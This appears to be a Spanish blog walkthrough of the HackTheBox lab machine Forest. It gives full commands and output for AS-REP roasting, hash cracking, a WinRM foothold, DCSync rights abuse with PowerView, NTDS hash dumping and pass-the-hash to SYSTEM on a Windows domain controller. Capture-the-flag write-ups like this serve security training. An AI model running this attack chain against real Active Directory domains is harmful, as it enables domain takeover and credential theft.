Ir al contenido
  1. Posts/

Forest

·6 mins
S3ntinl
Autor
S3ntinl
Embrace The Unseen
Tabla de contenido
Información de la máquina
PlataformaHackTheBox
Sistema operativoWindows
DificultadFácil
IP10.10.10.161

Enumeration
#

Como siempre, empezamos con Nmap:

┌──(s3n㉿kali)-[~/Desktop/Box/recon]
└─$ nmap -p53,88,135,139,445,464,493,636,3268,3269,5985,9389,47001 -sCV --min-rate 2000 -T5 -n -Pn 10.10.10.161 -oN ports

PORT      STATE  SERVICE      VERSION
53/tcp    open   domain       Simple DNS Plus
88/tcp    open   kerberos-sec Microsoft Windows Kerberos (server time: 2025-01-08 17:29:54Z)
135/tcp   open   msrpc        Microsoft Windows RPC
139/tcp   open   netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open   microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp   open   kpasswd5?
493/tcp   closed ticf-2
636/tcp   open   tcpwrapped
3268/tcp  open   ldap         Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp  open   tcpwrapped
5985/tcp  open   http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open   mc-nmf       .NET Message Framing
47001/tcp open   http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-01-08T17:30:01
|_  start_date: 2025-01-08T17:19:43
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: FOREST
|   NetBIOS computer name: FOREST\x00
|   Domain name: htb.local
|   Forest name: htb.local
|   FQDN: FOREST.htb.local
|_  System time: 2025-01-08T09:30:03-08:00
|_clock-skew: mean: 2h46m49s, deviation: 4h37m10s, median: 6m48s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Tenemos bastantes puertos abiertos. Comencemos a explorar cada uno de ellos:

RPC
#

Podemos conectarnos con una sesión nula a RPC para consultar información como usuarios del dominio:

┌──(s3n㉿kali)-[~/Desktop/Box/recon]
└─$ rpcclient -U '' -N 10.10.10.161

rpcclient $> enumdomusers

user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]

Encontramos algunos usuarios. Es una buena práctica guardar toda la información útil que encontremos, por lo que crearé un archivo users.txt que nos ayudará en el futuro para ataques como el rociado de contraseñas.

Un ataque de rociado de contraseñas consiste en intentar introducir una contraseña en varias cuentas de usuario dentro de una organización, en lugar de apuntar a una sola cuenta con varios intentos, evitando así los mecanismos de bloqueo.

Después de enumerar un poco, encuentro que el usuario svc-alfresco tiene habilitada la opción No requerir autenticación previa de Kerberos. Vamos a comprobarlo.

AS-Rep Roasting
#

Un ataque AS-REP Roasting apunta a las cuentas de usuario en Active Directory que tienen habilitada la opción No requerir autenticación previa de Kerberos. Los atacantes solicitan un ticket AS-REP de Kerberos para estas cuentas, que se devuelve cifrado con el hash NTLM del usuario. Luego, podemos forzar el hash sin conexión para recuperar la contraseña en texto simple con una herramienta como hashcat.

┌──(s3n㉿kali)-[~/Desktop/Box/recon]
└─$ sudo impacket-GetNPUsers -request -dc-ip 10.10.10.161 htb.local/

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

Name          MemberOf                                                PasswordLastSet             LastLogon                   UAC      
------------  ------------------------------------------------------  --------------------------  --------------------------  --------
svc-alfresco  CN=Service Accounts,OU=Security Groups,DC=htb,DC=local  2025-01-08 07:40:04.738225  2025-01-08 07:40:01.956933  0x410200 

$krb5asrep$23$svc-alfresco@HTB.LOCAL:44ad01dc17d4ba761d72ea7545970dcd$7806253f36fd17dd6d9669037ace47695e502faace5fa4e2409a727613d40d083db43a8f229c3feb8968f8a48fef57d4f71f526f19d66345e6662e3563756a92e9717357312ae3c7e0d16e6fe092b09b698fbd64a5e91d9b566f1d15c3dfeaad0f1eb7e6a73d8c8ea75aaad258df47071858092fde8b9eb2c649c30fcfe30f318da1196a789d4c915e4d5e63c876d73ffaa6ff568adab010d87586ec32cc8f023a824b922b192eb0d40db2efe04dc1450e297fadfbc46f452458810d0bcffbd33933e2b1d2039332d4953ac955fb4c27c61df64c039eb88c502e0be28a47a71fadca23864fdd

Vamos a crackear el hash:

┌──(s3n㉿kali)-[~/Desktop/Box/recon]
└─$ sudo hashcat -m 18200 hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force --show

$krb5asrep$23$svc-alfresco@HTB.LOCAL:44ad01dc17d4ba761d72ea7545970dcd$7806253f36fd17dd6d9669037ace47695e502faace5fa4e2409a727613d40d083db43a8f229c3feb8968f8a48fef57d4f71f526f19d66345e6662e3563756a92e9717357312ae3c7e0d16e6fe092b09b698fbd64a5e91d9b566f1d15c3dfeaad0f1eb7e6a73d8c8ea75aaad258df47071858092fde8b9eb2c649c30fcfe30f318da1196a789d4c915e4d5e63c876d73ffaa6ff568adab010d87586ec32cc8f023a824b922b192eb0d40db2efe04dc1450e297fadfbc46f452458810d0bcffbd33933e2b1d2039332d4953ac955fb4c27c61df64c039eb88c502e0be28a47a71fadca23864fdd:s3rvice

Ahora que tenemos las credenciales svc-alfresco:s3rvice, podemos intentar acceder a la máquina a través de WinRM con una herramienta como evil-winrm.


Setting a Foothold
#

Podemos acceder a la máquina abusando del protocolo WinRM con evil-winrm, aprovechando las credenciales que acabamos de encontrar.

┌──(s3n㉿kali)-[~/Desktop/Box/recon]
└─$ evil-winrm -i 10.10.10.161 -u svc-alfresco -p s3rvice       

Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> whoami
htb\svc-alfresco

¡Genial! Estamos dentro del sistema. Ahora podemos reclamar la bandera user.

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> type user.txt
2bc3959f6...f9382ed94

Escalada de privilegios
#

Ahora que estamos dentro de la máquina como un usuario con pocos privilegios, queremos tomar el control de la cuenta de administrador para poder rootear el controlador de dominio.

Podemos mapear los objetos de dominio con BloodHound. Echa un vistazo a mi publicación BloodHound donde vamos cómo hacer una instalación rápida y comenzar a usarlo, si aún no lo has hecho!

Primero, necesitamos recolectar la información con SharpHound, así que después de cargarla a la máquina, hacemos lo siguiente:

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> powershell -ep bypass

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> import-module ./SharpHound.ps1
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> Invoke-BloodHound -CollectionMethod All -OutputDirectory C:\Users\svc-alfresco\Desktop\ -OutputPrefix "forest"
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> dir

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----         1/8/2025   1:47 PM          44043 forest_20250108134756_BloodHound.zip

Ya hemos conseguido el control de svc-alfresco, por lo que debemos centrarnos en cómo podemos usar este usuario para elevar nuestros privilegios. A continuación, importamos el archivo zip a BloodHound y echemos un vistazo.

forest1

Como podemos ver, este usuario es miembro de Account Operators, un grupo bastante poderoso. Microsoft dice lo siguiente:

El grupo Account Operators otorga privilegios limitados de creación de cuentas a un usuario. Los miembros de este grupo pueden crear y modificar la mayoría de los tipos de cuentas, incluidas las cuentas de usuarios, grupos locales y grupos globales. Los miembros del grupo pueden iniciar sesión localmente en los controladores de dominio.

Los miembros del grupo Operadores de cuenta no pueden administrar la cuenta de usuario Administrador, las cuentas de usuario de los administradores ni los grupos Administradores, Operadores de servidor, Operadores de cuenta, Operadores de copia de seguridad u Operadores de impresión. Los miembros de este grupo no pueden modificar los derechos de usuario.

Probemos la consulta Rutas más cortas a los administradores de dominio:

forest2

Vemos lo siguiente:

forest3

Como somos miembros del grupo Account Operators, podemos crear un usuario en el grupo Exchange Windows Permissions para abusar del permiso WriteDacl que tiene este grupo sobre todo el dominio.

Con WriteDacl podemos hacer ataques como DCSync. Vamos paso a paso:

  1. Creamos el usuario s3ntinl y lo añadimos al grupo Exchange Windows Permissions.
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net user s3ntinl s3ntinl123! /add /domain
The command completed successfully.

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net group "Exchange Windows Permissions" s3ntinl /add
The command completed successfully.
  1. Otorgue privilegios DCSync a s3ntinl:

Recuerde importar powerview.ps1 si aún no lo ha hecho

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> $SecPassword = ConvertTo-SecureString 's3ntinl123!' -AsPlainText -Force
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> $Cred = New-Object System.Management.Automation.PSCredential('htb.local\s3ntinl', $SecPassword)

*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> import-module ./powerview.ps1
*Evil-WinRM* PS C:\Users\svc-alfresco\desktop> Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity s3ntinl -Rights DCSync
  1. Abusamos del permiso DCSync con impacket-secretsdump:
┌──(s3n㉿kali)-[/opt/tools]
└─$ sudo impacket-secretsdump 'htb.local'/'s3ntinl':'s3ntinl123!'@'10.10.10.161'

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::

...

[*] Cleaning up... 

¡Genial! Hemos logrado eliminar todos los hashes. Ahora podemos abusar de SMB con impacket-psexec y hacer un PassTheHash.

En un ataque PtH, un atacante utiliza el hash NTLM de la contraseña de un usuario para autenticarse sin conocer la contraseña real. PsExec admite esto aprovechando la capacidad de Windows para autenticarse a través de hashes NTLM al interactuar con servicios como SMB.

┌──(s3n㉿kali)-[~/Desktop/Box/recon]
└─$ impacket-psexec -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6 Administrator@10.10.10.161  
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Requesting shares on 10.10.10.161.....
[*] Found writable share ADMIN$
...

C:\Windows\system32> whoami
nt authority\system

¡Genial! Leamos la bandera root y podremos considerar que Forest está pwned!

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
767c4284...1c365ef6